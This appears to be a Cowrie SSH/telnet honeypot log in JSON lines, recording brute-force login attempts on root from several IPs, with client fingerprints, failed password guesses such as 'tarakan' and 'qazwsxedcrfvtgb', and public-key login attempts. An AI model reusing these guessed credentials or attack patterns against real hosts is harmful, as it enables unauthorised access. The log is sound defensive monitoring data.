{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:25.943718Z","src_ip":"103.122.221.179","session":"9fd5e7b42267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fallout","message":"login attempt [root/fallout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:26.721610Z","src_ip":"103.122.221.179","session":"9fd5e7b42267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:27.982692Z","src_ip":"103.122.221.179","session":"9fd5e7b42267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":52352,"dst_ip":"159.203.135.109","dst_port":22,"session":"571a004130eb","protocol":"ssh","message":"New connection: 103.77.242.62:52352 (159.203.135.109:22) [session: 571a004130eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:47.217438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:47.222135Z","src_ip":"103.77.242.62","session":"571a004130eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:47.462160Z","src_ip":"103.77.242.62","session":"571a004130eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarakan","message":"login attempt [root/tarakan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:48.182341Z","src_ip":"103.77.242.62","session":"571a004130eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:49.424736Z","src_ip":"103.77.242.62","session":"571a004130eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50470,"dst_ip":"10.17.0.5","dst_port":23,"session":"026aa5d11941","protocol":"telnet","message":"New connection: 192.119.13.58:50470 (10.17.0.5:23) [session: 026aa5d11941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:05.127498Z"}
{"eventid":"cowrie.session.closed","duration":36.39673614501953,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:41.524078Z","src_ip":"192.119.13.58","session":"026aa5d11941","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f609ed0e02dc","protocol":"ssh","message":"New connection: 62.133.62.83:33858 (10.17.0.5:22) [session: f609ed0e02dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:42.613107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:42.620635Z","src_ip":"62.133.62.83","session":"f609ed0e02dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:42.699298Z","src_ip":"62.133.62.83","session":"f609ed0e02dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aspirin","message":"login attempt [root/aspirin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:42.945339Z","src_ip":"62.133.62.83","session":"f609ed0e02dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:44.028748Z","src_ip":"62.133.62.83","session":"f609ed0e02dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":43072,"dst_ip":"10.17.0.5","dst_port":22,"session":"956516e24c88","protocol":"ssh","message":"New connection: 193.228.128.84:43072 (10.17.0.5:22) [session: 956516e24c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:53.350250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:53.356746Z","src_ip":"193.228.128.84","session":"956516e24c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:53.454398Z","src_ip":"193.228.128.84","session":"956516e24c88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedcrfvtgb","message":"login attempt [root/qazwsxedcrfvtgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:53.853798Z","src_ip":"193.228.128.84","session":"956516e24c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:43:54.959261Z","src_ip":"193.228.128.84","session":"956516e24c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33148,"dst_ip":"10.17.0.5","dst_port":23,"session":"58bf74d64fda","protocol":"telnet","message":"New connection: 192.119.13.58:33148 (10.17.0.5:23) [session: 58bf74d64fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:02.807464Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.47.4.5","src_port":33326,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e417abb768","protocol":"ssh","message":"New connection: 78.47.4.5:33326 (10.17.0.5:22) [session: 32e417abb768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:13.565629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:13.571117Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:13.669791Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:1d:ca:cd:8a:b2:de:14:a6:f7:8d:d6:04:81:d7:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZARHKfO5V/rcSSIrtPiIDXk7N6v8XTjGpTsvRzUGWfBdhB9vASqr4XyxZim1rGcJg60HrN5jQjtv7gTtvELDieSeuZROPNQOxd3kKogYKxBWO4ejihbp7jWq1jluMmvWReXO9nELZxjWQXd/OGlWW/24AJ5xfB0uCg8yQiaHoczgXmkhJHCoTfq11nwt8V2yj9FJlKEvOR+6b5my4uE1SDXAY5XbMp7ELKjvdV+y/o6LtviHvuUPEu0oLp7sQcexOTz8sEQB5Vvuby8V4pBIjFxpCeJpXPmRnL4Q2amJI8EUopYgE6Xz0wKeSYSHrcpPYqDiZmWe0Dg5NQis1rMgZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:1d:ca:cd:8a:b2:de:14:a6:f7:8d:d6:04:81:d7:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.125505Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:1d:ca:cd:8a:b2:de:14:a6:f7:8d:d6:04:81:d7:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZARHKfO5V/rcSSIrtPiIDXk7N6v8XTjGpTsvRzUGWfBdhB9vASqr4XyxZim1rGcJg60HrN5jQjtv7gTtvELDieSeuZROPNQOxd3kKogYKxBWO4ejihbp7jWq1jluMmvWReXO9nELZxjWQXd/OGlWW/24AJ5xfB0uCg8yQiaHoczgXmkhJHCoTfq11nwt8V2yj9FJlKEvOR+6b5my4uE1SDXAY5XbMp7ELKjvdV+y/o6LtviHvuUPEu0oLp7sQcexOTz8sEQB5Vvuby8V4pBIjFxpCeJpXPmRnL4Q2amJI8EUopYgE6Xz0wKeSYSHrcpPYqDiZmWe0Dg5NQis1rMgZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.129748Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:5f:65:d5:11:66:e3:d5:19:a4:5e:42:ee:79:1d:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOIhn9XUwRmLsqcuNZ8PgO5W1UEdWnSbwU1qu26J0UGowAi/QwOhKPIzYt8ZHKnJ+m6pzROTsBcdbRr8BWIyV40jts2ufGW9v+Fhf3rOtyoQ4cSx4NB1+xAlo+WlwpqWWsnk9eiehl5h/zqVr5ZHPz5llBzQvKHYfwuUgaLOGT6ZmQlnBjY4nL2a9anK8lMyee5rm0G3wRbcyp9qE588Er2YqbhI7cduzIM2kwq+rWETGmOOYSUXV8y8A0trIxiYgmuenRPh5O52FE/28ue9qpdSfV/pSEPFXJN+7VZqOkv8AMzUxGeAJ0gNnpv0JtErZhNEJmscyZi1ePhOsLLAQb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:5f:65:d5:11:66:e3:d5:19:a4:5e:42:ee:79:1d:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.225901Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:5f:65:d5:11:66:e3:d5:19:a4:5e:42:ee:79:1d:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOIhn9XUwRmLsqcuNZ8PgO5W1UEdWnSbwU1qu26J0UGowAi/QwOhKPIzYt8ZHKnJ+m6pzROTsBcdbRr8BWIyV40jts2ufGW9v+Fhf3rOtyoQ4cSx4NB1+xAlo+WlwpqWWsnk9eiehl5h/zqVr5ZHPz5llBzQvKHYfwuUgaLOGT6ZmQlnBjY4nL2a9anK8lMyee5rm0G3wRbcyp9qE588Er2YqbhI7cduzIM2kwq+rWETGmOOYSUXV8y8A0trIxiYgmuenRPh5O52FE/28ue9qpdSfV/pSEPFXJN+7VZqOkv8AMzUxGeAJ0gNnpv0JtErZhNEJmscyZi1ePhOsLLAQb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.230260Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:93:a1:c3:4c:5a:b4:a7:28:4c:ef:0a:83:1b:24:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7DTw7e/a5Myi2Ilh70JwLvOAAInJdQ7aV0y4tD1B2EKQxm+NMyDtwyUIrXRHxBTve41mSgh/+DtkB4VuXMzyo6J5MOrKUbRgpoukIVdhkJiBC4eU7kudVxiVGtvxjZ/HAz3wAOaS+m2Y7FGnhC1VLlSg3GswfioVqgXBd8r/hCKDZEXVXBp17VG2ZL5TmWNX7Hva4zpf7FutRfgmmAZ3w3f70SqhQ9puhRAzqvPfdrQCaEY7Sj5LQ1rJtlzGOuj2fXzSa+oExLofnlmUCiJWYfnTusblIre1Wztte8+x8cEbCTyxJV7VaIQLwdaPhqbAyjllpwnBisyGDimofNYVzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:93:a1:c3:4c:5a:b4:a7:28:4c:ef:0a:83:1b:24:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.331935Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:93:a1:c3:4c:5a:b4:a7:28:4c:ef:0a:83:1b:24:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7DTw7e/a5Myi2Ilh70JwLvOAAInJdQ7aV0y4tD1B2EKQxm+NMyDtwyUIrXRHxBTve41mSgh/+DtkB4VuXMzyo6J5MOrKUbRgpoukIVdhkJiBC4eU7kudVxiVGtvxjZ/HAz3wAOaS+m2Y7FGnhC1VLlSg3GswfioVqgXBd8r/hCKDZEXVXBp17VG2ZL5TmWNX7Hva4zpf7FutRfgmmAZ3w3f70SqhQ9puhRAzqvPfdrQCaEY7Sj5LQ1rJtlzGOuj2fXzSa+oExLofnlmUCiJWYfnTusblIre1Wztte8+x8cEbCTyxJV7VaIQLwdaPhqbAyjllpwnBisyGDimofNYVzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.336035Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:de:9f:09:aa:29:99:c0:54:34:f7:06:c4:14:b8:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2zG7HM81Cv9ijaIKeDpJElj18NdjMXkOTl0lCxB4ov0Hz0+mjZ+Z3ZFzW9XjK/swMNDYec70yzlzU9/1qiBo1X0YLQX6LfgwqU+wwUx38ifhRbg4ouEOxR4oUl13dkJOy2mDHtxomcqNzXTTWRk4dZOUpo39pfS6myMFmt2QjCLohEQY+4O4Dhxrd2r0xzTbYjLTQ7AZGTykBZP9MDTI+wwmCNoFr5RNDTtveC54rJyxYpi/hJzqgP0kEkU6poaxQp+BriE/5+0IxPfgblOnIX5rEF610wsC0E0O4YV8UCWWGw8jNTpxl2g+z0vlaLX8VCUdYSCJUPHwuNsg0+IWN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:de:9f:09:aa:29:99:c0:54:34:f7:06:c4:14:b8:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.435206Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:de:9f:09:aa:29:99:c0:54:34:f7:06:c4:14:b8:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2zG7HM81Cv9ijaIKeDpJElj18NdjMXkOTl0lCxB4ov0Hz0+mjZ+Z3ZFzW9XjK/swMNDYec70yzlzU9/1qiBo1X0YLQX6LfgwqU+wwUx38ifhRbg4ouEOxR4oUl13dkJOy2mDHtxomcqNzXTTWRk4dZOUpo39pfS6myMFmt2QjCLohEQY+4O4Dhxrd2r0xzTbYjLTQ7AZGTykBZP9MDTI+wwmCNoFr5RNDTtveC54rJyxYpi/hJzqgP0kEkU6poaxQp+BriE/5+0IxPfgblOnIX5rEF610wsC0E0O4YV8UCWWGw8jNTpxl2g+z0vlaLX8VCUdYSCJUPHwuNsg0+IWN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.438831Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:3c:f4:92:cb:fd:5a:99:64:d2:dc:b3:45:82:5f:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwJZEsfrYxHhRUWwoTI5RN5xMgj8bkQ+EfirtyIheKr9rUwOprmxmcHV6YBCDLRFLnB+XwvpCxE8E9ogR8RVUkW4ZM2TWfd3CIE1OBIvBovPV68+E7J5PHWnZzOkWsQUsdzW2kVWvSWUPVetoRlidYP07sNUSZUpdNQ5+IkoIp6j+QLiE4T8Cl0GZgvQCNmP2YGUhXkKHvcH97RTKEYK6jdfzZSmfQUxKE5aGLV25HSeFKJ9VfH5cN7LBFNQ0vRN+UkTej4pUL6psO44bwEYIqxVpXOdzrZxANbnHJHzODkzRqRQ2P4m/03ginVQKb+AATxojCh01scLavUIogmewt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:3c:f4:92:cb:fd:5a:99:64:d2:dc:b3:45:82:5f:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:44:14.534785Z","src_ip":"78.47.4.5","session":"32e417abb768","protocol":"ssh"}
